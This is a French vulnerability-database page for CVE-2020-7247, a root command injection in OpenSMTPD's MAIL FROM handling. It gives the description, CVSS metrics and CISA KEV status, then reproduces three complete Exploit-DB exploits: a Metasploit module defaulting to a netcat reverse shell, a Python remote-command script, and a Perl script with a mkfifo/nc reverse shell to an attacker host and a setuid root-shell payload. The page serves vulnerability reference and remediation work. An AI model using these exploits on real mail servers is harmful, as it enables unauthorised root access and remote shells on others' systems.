CVE-2020-7247 : Détail

CVE-2020-7247

9.8
/
Critique
OS Command Injection
A03-Injection
97.39%V3
Network
2020-01-29
15h53 +00:00
2025-02-04
20h24 +00:00
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Descriptions du CVE

smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
CWE-755 Improper Handling of Exceptional Conditions
The product does not handle or incorrectly handles an exceptional condition.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : OpenSMTPD Remote Code Execution Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-24 23h00 +00:00

Action attendue : 2022-04-14 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 48038

Date de publication : 2020-02-09 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, 'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution', 'Description' => %q{ This module exploits a command injection in the MAIL FROM field during SMTP interaction with OpenSMTPD to execute code as the root user. }, 'Author' => [ 'Qualys', # Discovery and PoC 'wvu', # Module 'RageLtMan <rageltman[at]sempervictus>' # Module ], 'References' => [ ['CVE', '2020-7247'], ['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3'] ], 'DisclosureDate' => '2020-01-28', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ ['OpenSMTPD >= commit a8e222352f', 'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} )) register_options([ Opt::RPORT(25), OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) end def check connect res = sock.get_once return CheckCode::Unknown unless res return CheckCode::Detected if res =~ /^220.*OpenSMTPD/ CheckCode::Safe rescue EOFError, Rex::ConnectionError => e vprint_error(e.message) CheckCode::Unknown ensure disconnect end def exploit unless datastore['ForceExploit'] unless check == CheckCode::Detected fail_with(Failure::Unknown, 'Set ForceExploit to override') end end # We don't care who we are, so randomize it me = rand_text_alphanumeric(8..42) # Send mail to this valid recipient to = datastore['RCPT_TO'] # Comment "slide" courtesy of Qualys - brilliant! iter = rand_text_alphanumeric(15).chars.join(' ') from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;" # This is just insurance, since the code was already written if from.length > 64 fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars') elsif (badchars = (from.chars & target['MyBadChars'])).any? fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}") end # Create the mail body with comment slide and payload body = "\r\n" + "#\r\n" * 15 + payload.encoded sploit = { nil => /220.*OpenSMTPD/, "HELO #{me}" => /250.*pleased to meet you/, "MAIL FROM:<#{from}>" => /250.*Ok/, "RCPT TO:<#{to}>" => /250.*Recipient ok/, 'DATA' => /354 Enter mail.*itself/, body => nil, '.' => /250.*Message accepted for delivery/, 'QUIT' => /221.*Bye/ } print_status('Connecting to OpenSMTPD') connect print_status('Saying hello and sending exploit') sploit.each do |line, pattern| send_expect( line, pattern, sock: sock, timeout: datastore['ExpectTimeout'], newline: "\r\n" ) end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) ensure disconnect end end
Exploit Database EDB-ID : 47984

Date de publication : 2020-01-29 23h00 +00:00
Auteur : 1F98D
EDB Vérifié : Yes

# Exploit Title: OpenSMTPD 6.6.1 - Remote Code Execution # Date: 2020-01-29 # Exploit Author: 1F98D # Original Author: Qualys Security Advisory # Vendor Homepage: https://www.opensmtpd.org/ # Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1 # Version: OpenSMTPD < 6.6.2 # Tested on: Debian 9.11 (x64) # CVE: CVE-2020-7247 # References: # https://www.openwall.com/lists/oss-security/2020/01/28/3 # # OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately # escape dangerous characters from user-controlled input. An attacker # can exploit this to execute arbitrary shell commands on the target. # #!/usr/local/bin/python3 from socket import * import sys if len(sys.argv) != 4: print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0])) print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0])) sys.exit(1) ADDR = sys.argv[1] PORT = int(sys.argv[2]) CMD = sys.argv[3] s = socket(AF_INET, SOCK_STREAM) s.connect((ADDR, PORT)) res = s.recv(1024) if 'OpenSMTPD' not in str(res): print('[!] No OpenSMTPD detected') print('[!] Received {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] OpenSMTPD detected') s.send(b'HELO x\r\n') res = s.recv(1024) if '250' not in str(res): print('[!] Error connecting, expected 250') print('[!] Received: {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] Connected, sending payload') s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8')) res = s.recv(1024) if '250' not in str(res): print('[!] Error sending payload, expected 250') print('[!] Received: {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] Payload sent') s.send(b'RCPT TO:<root>\r\n') s.recv(1024) s.send(b'DATA\r\n') s.recv(1024) s.send(b'\r\nxxx\r\n.\r\n') s.recv(1024) s.send(b'QUIT\r\n') s.recv(1024) print('[*] Done')
Exploit Database EDB-ID : 48051

Date de publication : 2020-02-10 23h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : Yes

# Exploit Title: OpenSMTPD 6.6.1 - Local Privilege Escalation # Date: 2020-02-02 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.opensmtpd.org/ # Version: OpenSMTPD 6.4.0 - 6.6.1 # Tested on: OpenBSD 6.6, Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 # CVE: CVE-2020-7247 #!/usr/bin/perl # # raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD # Copyright (c) 2020 Marco Ivaldi <[email protected]> # # smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and # other products, allows remote attackers to execute arbitrary commands as root # via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL # FROM field. This affects the "uncommented" default configuration. The issue # exists because of an incorrect return value upon failure of input validation # (CVE-2020-7247). # # "Wow. I feel all butterflies in my tummy that bugs like this still exist. # That's awesome :)" -- skyper # # This exploit targets OpenBSD's OpenSMTPD in order to escalate privileges to # root on OpenBSD in the default configuration, or execute remote commands as # root (only in OpenSMTPD "uncommented" default configuration). # # See also: # https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt # https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/ # https://www.kb.cert.org/vuls/id/390745/ # https://www.opensmtpd.org/security.html # # Usage (LPE): # phish$ uname -a # OpenBSD phish.fnord.st 6.6 GENERIC#353 amd64 # phish$ id # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor), 0(wheel) # phish$ ./raptor_opensmtpd.pl LPE # [...] # Payload sent, please wait 5 seconds... # -rwsrwxrwx 1 root wheel 12432 Feb 1 21:20 /usr/local/bin/pwned # phish# id # uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel) # # Usage (RCE): # raptor@eris ~ % ./raptor_opensmtpd.pl RCE 10.0.0.162 10.0.0.24 example.org # [...] # Payload sent, please wait 5 seconds... # /bin/sh: No controlling tty (open /dev/tty: Device not configured) # /bin/sh: Can't find tty file descriptor # /bin/sh: warning: won't have full job control # phish# id # uid=0(root) gid=0(wheel) groups=0(wheel) # # Vulnerable platforms (OpenSMTPD 6.4.0 - 6.6.1): # OpenBSD 6.6 [tested] # OpenBSD 6.5 [untested] # OpenBSD 6.4 [untested] # Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 [tested] # Other Linux distributions [untested] # FreeBSD [untested] # NetBSD [untested] # use IO::Socket::INET; print "raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD\n"; print "Copyright (c) 2020 Marco Ivaldi <raptor\@0xdeadbeef.info>\n\n"; $usage = "Usage:\n". "$0 LPE\n". "$0 RCE <remote_host> <local_host> [<domain>]\n"; $lport = 4444; ($type, $rhost, $lhost, $domain) = @ARGV; die $usage if (($type ne "LPE") && ($type ne "RCE")); # Prepare the payload if ($type eq "LPE") { # LPE $payload = "cp /bin/sh /usr/local/bin/pwned\n". "echo 'main(){setuid(0);setgid(0);system(\"/bin/sh\");}' > /tmp/pwned.c\n". "gcc /tmp/pwned.c -o /usr/local/bin/pwned\nchmod 4777 /usr/local/bin/pwned"; $rhost = "127.0.0.1"; } else { # RCE die $usage if ((not defined $rhost) || (not defined $lhost)); $payload = "sleep 5;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|". "nc $lhost $lport >/tmp/f"; } # Open SMTP connection $| = 1; $s = IO::Socket::INET->new("$rhost:25") or die "Error: $@\n"; # Read SMTP banner $r = <$s>; print "< $r"; die "Error: this is not OpenSMTPD\n" if ($r !~ /OpenSMTPD/); # Send HELO $w = "HELO fnord"; print "> $w\n"; print $s "$w\n"; $r = <$s>; print "< $r"; die "Error: expected 250\n" if ($r !~ /^250/); # Send evil MAIL FROM $w = "MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>"; print "> $w\n"; print $s "$w\n"; $r = <$s>; print "< $r"; die "Error: expected 250\n" if ($r !~ /^250/); # Send RCPT TO if (not defined $domain) { $rcpt = "<root>"; } else { $rcpt = "<root\@$domain>"; } $w = "RCPT TO:$rcpt"; print "> $w\n"; print $s "$w\n"; $r = <$s>; print "< $r"; die "Error: expected 250\n" if ($r !~ /^250/); # Send payload in DATA $w = "DATA"; print "> $w\n"; print $s "$w\n"; $r = <$s>; print "< $r"; $w = "\n#0\n#1\n#2\n#3\n#4\n#5\n#6\n#7\n#8\n#9\n#a\n#b\n#c\n#d\n$payload\n."; #print "> $w\n"; # uncomment for debugging print $s "$w\n"; $r = <$s>; print "< $r"; die "Error: expected 250\n" if ($r !~ /^250/); # Close SMTP connection $s->close(); print "\nPayload sent, please wait 5 seconds...\n"; # Got root? if ($type eq "LPE") { # LPE sleep 5; print `ls -l /usr/local/bin/pwned`; exec "/usr/local/bin/pwned" or die "Error: exploit failed :(\n"; } else { # RCE exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; # BSD netcat #exec "nc -vlp $lport" or die "Error: unable to execute netcat\n"; # Debian netcat }

Products Mentioned

Configuraton 0

Openbsd>>Opensmtpd >> Version 6.6

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

Configuraton 0

Fedoraproject>>Fedora >> Version 32

Configuraton 0

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 19.10

Références

https://www.openbsd.org/security.html
Tags : x_refsource_CONFIRM
https://seclists.org/bugtraq/2020/Jan/51
Tags : mailing-list, x_refsource_BUGTRAQ
https://www.debian.org/security/2020/dsa-4611
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.kb.cert.org/vuls/id/390745
Tags : third-party-advisory, x_refsource_CERT-VN
http://seclists.org/fulldisclosure/2020/Jan/49
Tags : mailing-list, x_refsource_FULLDISC
https://usn.ubuntu.com/4268-1/
Tags : vendor-advisory, x_refsource_UBUNTU